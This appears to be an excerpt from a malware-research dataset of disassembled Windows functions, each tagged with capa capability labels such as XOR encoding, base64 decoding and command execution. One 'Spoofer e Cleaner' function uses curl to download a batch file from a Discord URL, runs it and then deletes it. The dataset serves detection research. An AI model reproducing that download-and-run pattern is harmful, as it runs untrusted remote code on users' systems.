joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140024570
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x6040], 0
lea rbx, [rcx + 0x6048]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140024617
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1400245ca
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140027050
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.14000bc10
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x6040]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x6050]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140114904]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14002461f
mov rcx, rbx
call fcn.14000bc10
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140024950
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x140114908]
xor ebp, ebp
cmp byte [rbx + 0x5f98], bpl
jne 0x140024a2f
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140024a28
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
call fcn.14000b390
mov rsi, rax
test rax, rax
je 0x140024a28
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x1400249b4
mov rcx, rax
call fcn.140024b80
mov r8, qword [0x140114908]
test r8, r8
je 0x140024a1f
movsx rdx, word [r8 + 0x6120]
lea rcx, [r8 + 0x6124]
mov r9d, dword [r8 + 0x3f88]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140024a14
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6120], cx
movsx rax, cx
lea rcx, [r8 + 0x6124]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], ebp
inc word [rcx + 6]
inc dword [r8 + 0x611c]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov byte [rbx + 0x5f98], 1
movss xmm0, dword [rbx + 0x5f9c]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x140024abe
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x5f9c], xmm0
jb 0x140024abe
mov rdi, qword [rbx + 0x20]
test rdi, rdi
je 0x140024ab1
mov rax, qword [0x140114908]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
mov dword [rax + 0x5f9c], ebp
call fcn.140024de0
lea rdx, [0x140102474]
mov rcx, rdi
mov rsi, rax
call fcn.14000b1e0
mov rdi, rax
test rax, rax
je 0x140024ab8
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140024ab8
mov byte [rbx + 0xce], 1
mov dword [rbx + 0x5f9c], ebp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400348e0
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x70
mov rax, qword [0x140114040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, qword [0x140114908]
mov rbp, rcx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140034afe
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140034afe
mov qword [rsp + 0x80], rbx
mov ecx, 0x50
mov qword [rsp + 0x88], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x140114908]
xor ebx, ebx
mov rdi, rax
test r8, r8
je 0x1400349b4
movsx rdx, word [r8 + 0x6120]
lea rax, [r8 + 0x6124]
mov r9d, dword [r8 + 0x3f88]
lea rax, [rax + rdx*8]
cmp dword [rax], r9d
je 0x1400349a9
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6120], cx
movsx rax, cx
lea rax, [rax*8 + 0x6124]
add rax, r8
mov dword [rax], r9d
mov dword [rax + 4], ebx
inc word [rax + 4]
inc dword [r8 + 0x6118]
test rdi, rdi
je 0x1400349d1
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
jmp 0x1400349d4
mov rdi, rbx
or dword [rsi + 0xc], 6
lea rax, [0x140102c58]
mov qword [rsi + 0x80], rax
mov qword [rsi + 0x90], rdi
mov qword [rdi], rbp
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
test r8, r8
je 0x140034a17
mov rsi, qword [r8 + 0x90]
jmp 0x140034a1a
mov rsi, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rsi + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140034a45
mov dword [rsi + 0x2c], ebx
mov rax, qword [0x140114908]
mov rcx, qword [rax + 0x4b60]
mov rax, qword [rcx]
mov qword [rax + 0x28], rbp
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x30], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x38], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0x40], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x48], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x50], rax
mov byte [rdi + 0x31], 1
nop word [rax + rax]
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140034abe
inc rbx
cmp rbx, 5
jl 0x140034aa0
jmp 0x140034aea
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x38], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x48], rax
mov rdi, qword [rsp + 0x88]
mov al, 1
mov rbx, qword [rsp + 0x80]
jmp 0x140034b00
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400c13b0
mov rbp, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
Function at 0x14003a720
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [0x140114908]
mov r10, rcx
mov r9, qword [rcx + 0x188]
movsxd rax, edx
imul rbx, rax, 0x70
add rbx, qword [rcx + 0x18]
mov dword [rcx + 0x74], edx
test dword [rbx], 0x10000
movss xmm2, dword [rbx + 0x34]
je 0x14003a763
addss xmm2, dword [rcx + 0x90]
movaps xmm0, xmm2
lea rsi, [r9 + 0x118]
subss xmm0, dword [r9 + 0x28]
movss dword [rsi], xmm2
movss xmm1, dword [rcx + 0x88]
addss xmm1, dword [rcx + 0x7c]
movss dword [r9 + 0x130], xmm2
subss xmm0, dword [r9 + 0x15c]
movss dword [r9 + 0x120], xmm2
movss dword [r9 + 0x11c], xmm1
movss dword [r9 + 0x160], xmm0
mov eax, dword [rcx + 0x8c]
mov dword [r9 + 0x150], eax
movsx eax, byte [rbx + 0x6a]
mov dword [r9 + 0x170], eax
movss dword [r9 + 0x234], xmm1
mov eax, dword [rbx + 0x34]
mov dword [r9 + 0x230], eax
mov eax, dword [rbx + 0x38]
mov dword [r9 + 0x238], eax
mov eax, dword [rbx + 0x3c]
mov dword [r9 + 0x1d8], eax
movzx eax, byte [rbx + 0x68]
mov byte [r9 + 0xcf], al
cmp byte [rbx + 0x68], 0
je 0x14003a80f
xor eax, eax
mov dword [rdi + 0x4a00], eax
mov dword [rdi + 0x4a08], eax
test dword [rcx + 4], 0x100000
je 0x14003a820
mov r8d, 2
jmp 0x14003a89a
movups xmm0, xmmword [rbx + 0x20]
mov rax, qword [r9 + 0x2b0]
movss xmm4, dword [rbx + 0x20]
movss xmm3, dword [rbx + 0x24]
movss xmm2, dword [rbx + 0x28]
movss xmm1, dword [rbx + 0x2c]
movups xmmword [r9 + 0x250], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x60], xmm4
movss dword [rax + 0x64], xmm3
movss dword [rax + 0x68], xmm2
movss dword [rax + 0x6c], xmm1
mov rax, qword [r9 + 0x2b0]
movups xmm0, xmmword [rsp + 0x20]
movsxd rdx, dword [rax + 0x98]
mov rcx, qword [rax + 0xa0]
add rdx, rdx
movups xmmword [rcx + rdx*8 - 0x10], xmm0
movzx r8d, word [rbx + 0x5c]
mov rdx, qword [r9 + 0x2b0]
mov rcx, qword [r10 + 0x1a0]
call fcn.14002c720
cmp byte [rdi + 0x6038], 0
je 0x14003a8d8
cmp byte [rbx + 0x68], 0
jne 0x14003a8d8
xor r8d, r8d
lea rdx, [0x140102cf4]
mov rcx, rsi
call fcn.140024680
mov dword [rdi + 0x6068], 0x7f7fffff
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14003c360
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [0x140114908]
mov rdx, qword [rax + 0x4e40]
cmp ecx, 0xffffffff
jne 0x14003c37a
cmp dword [rdx + 0x74], ecx
cmovne ecx, dword [rdx + 0x74]
cmp ecx, dword [rdx + 0x6c]
mov eax, 0xffffffff
cmove ecx, eax
test byte [rdx + 4], 7
je 0x14003c3f9
mov r10d, dword [rdx]
lea r8, [0x140102cf9]
movzx eax, word [rdx + 0x78]
lea r11, [0x1400fc370]
not r10d
mov word [rdx + 0x224], cx
mov ecx, r10d
mov byte [rdx + 0x23b], 1
mov word [rdx + 0x7a], ax
mov r9b, 0x23
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x14003c3d3
cmp byte [r8], r9b
jne 0x14003c3d3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14003c3c0
not ecx
xor edx, edx
jmp fcn.14001e950
ret
Function at 0x140011366
Capabilities:
Delete file
Execute command

Disassembly:
jmp 0x140016b60
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002c0f5]
call fcn.14001165e
nop
lea rcx, str.curl__s__o_C:_spoofer.bat_https:__discordapp.com_channels_1299144905343373312_1299144905343373315_1299347055818444861
call qword [sym.imp.ucrtbased.dll_system]
test eax, eax
je 0x140016ba3
lea rdx, str.Erro_ao_baixar_o_arquivo._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110c8
nop
jmp 0x140016be2
lea rcx, str.start_C:_spoofer.bat
call qword [sym.imp.ucrtbased.dll_system]
nop
mov ecx, 0x115c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, str.C:_spoofer.bat
call qword [sym.imp.ucrtbased.dll_remove]
test eax, eax
je 0x140016be2
lea rdx, str.Erro_ao_remover_o_arquivo._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110c8
nop
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14001139d
Capabilities:
Terminate process

Disassembly:
jmp 0x1400186e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14001146f
Capabilities:
Execute command

Disassembly:
jmp 0x140016db0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140026040]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x14002c0f5]
call fcn.14001165e
nop
lea rcx, str.title_Spoofer_e_Cleaner
call qword [sym.imp.ucrtbased.dll_system]
nop
call fcn.1400114b5
nop
call fcn.140011712
nop
call fcn.1400110a0
nop
lea rdx, str.Escolha_uma_opo:_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rdx, str.1._Cleaner_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rdx, str.2._Spoofer_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rdx, str.Digite_sua_escolha__1_ou_2_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
nop
mov eax, dword [rbp + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
je 0x140016e8d
cmp dword [rbp + 0xd4], 2
je 0x140016e95
jmp 0x140016e9d
call fcn.140011037
nop
jmp 0x140016eb1
call fcn.140011366
nop
jmp 0x140016eb1
lea rdx, str.Escolha_invlida._Por_favor__selecione_1_ou_2._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rdx, str._nPressione_qualquer_tecla_para_sair...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, str.pause___nul
call qword [sym.imp.ucrtbased.dll_system]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400212b0]
call fcn.14001155a
mov eax, edi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011483
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019a30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019a50
xor al, al
jmp 0x140019ad1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019a63
xor al, al
jmp 0x140019ad1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140019a8d
xor al, al
jmp 0x140019ad1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019aa1
xor al, al
jmp 0x140019ad1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019ab3
xor al, al
jmp 0x140019ad1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140019acf
xor al, al
jmp 0x140019ad1
mov al, 1
add rsp, 0x38
ret
Function at 0x140017830
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001169a
movzx eax, al
test eax, eax
jne 0x140017850
mov ecx, 7
call fcn.140011564
nop
mov byte [rsp + 0x20], 0
call fcn.1400115a0
mov byte [rsp + 0x21], al
cmp dword [0x140026b78], 1
jne 0x140017874
mov ecx, 7
call fcn.140011564
nop
jmp 0x1400178cc
cmp dword [0x140026b78], 0
jne 0x1400178c7
mov dword [0x140026b78], 1
lea rdx, [0x140020660]
lea rcx, [0x140020330]
call fcn.140011311
test eax, eax
je 0x1400178a8
mov eax, 0xff
jmp 0x1400179d1
lea rdx, [0x140020220]
lea rcx, [section..rdata]
call fcn.14001158c
mov dword [0x140026b78], 2
jmp 0x1400178cc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011550
call fcn.1400114ab
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140017929
mov rcx, qword [rsp + 0x30]
call fcn.140011271
movzx eax, al
test eax, eax
je 0x140017929
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002d020]
nop
call fcn.1400114fb
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001795d
mov rcx, qword [rsp + 0x38]
call fcn.140011271
movzx eax, al
test eax, eax
je 0x14001795d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011640
nop
call fcn.140017a80
mov dword [rsp + 0x28], eax
call fcn.140011483
movzx eax, al
test eax, eax
jne 0x14001797c
mov ecx, dword [rsp + 0x28]
call fcn.14001108c
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001798b
call fcn.14001164f
nop
xor edx, edx
mov cl, 1
call fcn.140011249
mov eax, dword [rsp + 0x28]
jmp 0x1400179d1
add rsp, 0x68
ret
Function at 0x1800045f0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x50
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, r8
mov rbp, rcx
xor esi, esi
mov dword [rsp + 0x20], esi
lea rcx, [rax - 0x28]
call fcn.1800048e8
nop
lea rcx, [rsp + 0x30]
call fcn.18001327c
mov rdx, rax
xor r8d, r8d
mov rcx, rbp
call fcn.18000457c
lea rcx, [rsp + 0x30]
call fcn.18001327c
test rax, rax
je 0x18000469f
mov rcx, r14
call fcn.18001327c
mov rcx, rax
xor edx, edx
mov rax, rsi
div rcx
mov rcx, r14
call fcn.1800045d8
mov rdi, rax
mov rdx, rsi
mov rcx, rbp
call fcn.1800045d8
mov rbx, rax
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.1800045d8
mov cl, byte [rax]
xor cl, byte [rdi]
mov byte [rbx], cl
inc rsi
lea rcx, [rsp + 0x30]
call fcn.18001327c
cmp rsi, rax
jb 0x18000464e
lea rcx, [rsp + 0x30]
call fcn.1800011bc
mov rax, rbp
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x1800046c8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x50
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, r8
mov rbp, rdx
mov rsi, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov rcx, rdx
call fcn.18001327c
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.18000457c
nop
mov rcx, rbp
call fcn.18001327c
test rax, rax
je 0x180004767
mov rcx, r14
call fcn.18001327c
mov rcx, rax
xor edx, edx
mov rax, rdi
div rcx
mov rcx, r14
call fcn.1800045d8
mov bl, byte [rax]
mov rdx, rdi
mov rcx, rbp
call fcn.1800045d8
xor bl, byte [rax]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1800045d8
mov byte [rax], bl
inc rdi
mov rcx, rbp
call fcn.18001327c
cmp rdi, rax
jb 0x18000471e
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.180004acc
nop
lea rcx, [rsp + 0x30]
call fcn.1800011bc
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x180004930
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rbx, qword [r8]
and dword [rsp + 0x20], 0
mov rdi, rdx
mov rsi, rcx
test rbx, rbx
jne 0x180004971
lea rdx, [0x18003250e]
call fcn.1800010e8
jmp 0x180004aa7
xor ebp, ebp
mov rax, rbx
lea r12d, [rbp + 1]
and eax, 3
jne 0x18000498b
cmp byte [rbx + rdx - 1], 0x3d
je 0x18000498b
xor r14d, r14d
jmp 0x18000499b
mov r14, r12
cmp rax, 2
ja 0x1800049a0
cmp byte [rbx + rdx - 2], 0x3d
jne 0x1800049a0
xor r15d, r15d
jmp 0x1800049a3
mov r15, r12
sub rbx, r14
lea rcx, [rsp + 0x28]
xor r8d, r8d
and rbx, 0xfffffffffffffffc
mov rdx, rbx
shr rdx, 2
lea rax, [r15 + rdx*2]
add rdx, rax
add rdx, r14
call fcn.18000457c
lea rcx, [rsp + 0x28]
xor edx, edx
call fcn.1800045d8
lea r11, [0x180033630]
mov r9, rax
test rbx, rbx
je 0x180004a46
lea r8, [rbx - 1]
lea r10, [rdi + 1]
shr r8, 2
add r8, r12
movzx eax, byte [r10]
movzx ecx, byte [r10 - 1]
lea r10, [r10 + 4]
mov edx, dword [r11 + rcx*4]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 3]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 2]
shl edx, 6
or edx, dword [r11 + rax*4]
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
add rbp, r12
mov eax, edx
sar eax, 8
mov byte [r9 + rbp], al
add rbp, r12
mov byte [r9 + rbp], dl
add rbp, r12
sub r8, r12
jne 0x1800049f2
test r14, r14
je 0x180004a90
movzx eax, byte [rbx + rdi]
movzx edx, byte [rbx + rdi + 1]
mov ecx, dword [r11 + rax*4]
mov r8d, dword [r11 + rdx*4]
shl ecx, 6
or r8d, ecx
shl r8d, 0xc
mov eax, r8d
sar eax, 0x10
mov byte [r9 + rbp], al
test r15, r15
je 0x180004a90
movzx eax, byte [rbx + rdi + 2]
sar r8d, 8
mov ecx, dword [r11 + rax*4]
shl ecx, 6
sar ecx, 8
or cl, r8b
mov byte [r9 + rbp + 1], cl
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.180004524
lea rcx, [rsp + 0x28]
call fcn.1800011bc
lea r11, [rsp + 0x50]
mov rax, rsi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180007374
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rdi, rdx
mov ebx, ecx
test ecx, ecx
je 0x18000746d
jle 0x180007498
cmp ecx, 2
jle 0x180007432
cmp ecx, 3
jne 0x180007498
mov ebx, 0x103
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, ebx
mov byte [rsp + 0x20], 0
call fcn.180007014
lea rcx, [rbp + 0x31]
mov r8d, ebx
xor edx, edx
mov byte [rbp + 0x30], 0
call fcn.180007014
lea rdx, [rsp + 0x20]
mov r9d, 1
xor r8d, r8d
mov rcx, rdi
call fcn.18000712c
test eax, eax
je 0x180007498
lea rcx, [rbp + 0x30]
call fcn.180006dc8
lea rcx, [rbp + 0x30]
call qword [0x180042af8]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x20]
xor r8d, r8d
call qword [0x180042850]
lea rcx, [rbp + 0x30]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x180007498
mov dl, 0x3a
mov rcx, rdi
call qword [0x180042998]
test rax, rax
je 0x180007498
xor edx, edx
lea rcx, [rax + 1]
mov byte [rax], 0
lea r8d, [rdx + 0xa]
call qword [0x1800428a8]
mov rcx, rdi
mov edx, eax
cmp ebx, 2
jne 0x180007466
call fcn.18001ba50
jmp 0x180007498
call fcn.18001ac04
jmp 0x180007498
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.180007014
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 1]
mov rcx, rdi
call fcn.18000712c
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret